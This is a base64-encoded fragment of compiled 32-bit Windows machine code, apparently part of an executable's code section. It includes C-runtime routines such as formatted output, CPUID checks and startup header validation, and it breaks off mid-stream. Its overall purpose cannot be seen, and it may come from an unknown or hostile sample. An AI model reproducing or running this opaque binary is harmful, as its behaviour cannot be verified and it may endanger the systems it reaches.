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ImFvP3//4P4Bw+HdwkAAP8khYROQAAzwION2P3///+L2ImFpP3//4mFtP3//4mFwP3//4mFzP3//4md6P3//4mFyP3//+k8CQAAD77Cg+ggdEaD6AN0OYPoCHQvSEh0HYPoA4uF8P3//w+FHQkAAIPLCImd6P3//+kPCQAAg8sEiZ3o/f//6fsIAACDywHr8IHLgAAAAOvog8sC6+OA+ip1L4sHg8cEib3k/f//iYXA/f//hcAPicsIAACDywT32Imd6P3//4mFwP3//+m1CAAAa43A/f//Cg++woPB0APBiYXA/f//6ZUIAAAzwImF2P3//+mOCAAAgPoqdSuLB4PHBImF2P3//4XAi4Xw/f//ib3k/f//D4lwCAAAg43Y/f///+lkCAAAa43Y/f//Cg++woPB0APBiYXY/f//6T4IAACA+kl0RYD6aHQ4i4Xw/f//gPpsdBSA+ncPhSwIAACBywAIAADpB////4A4bHUMQIHLABAAAOn2/v//g8sQ6e7+//+DyyDp9P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6b7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pnv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFyP3//42FkP3//1APtsJQ6LhYAABZWYXAdDiNheD9//9Q/7XQ/f///7W4/f//6GRNAACLjfD9//+DxAyKAUGIhbj9//+JjfD9//+EwA+EZAcAAI2F4P3//1D/tdD9////tbj9///oLE0AAIPEDOn8BgAAD77Cg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwiDHhaT9//8BAAAAiJXv/f//i4XY/f//jbX0/f//g8tAuQACAACJnej9//+JjcT9//+FwA+JMgIAAMeF2P3//wYAAADpgAIAAPfDMAgAAA+FngAAAIHLAAgAAImd6P3//+mNAAAA98MwCAAAdQyBywAIAACJnej9//+Lldj9//+5////f4P6/3QCi8qLN4PHBIm95P3///fDEAgAAA+EUwQAAIX2dQaLNZRiQQDHhcj9//8BAAAAi8aFyXQPM9JJZjkQdAeDwAKFyXXzK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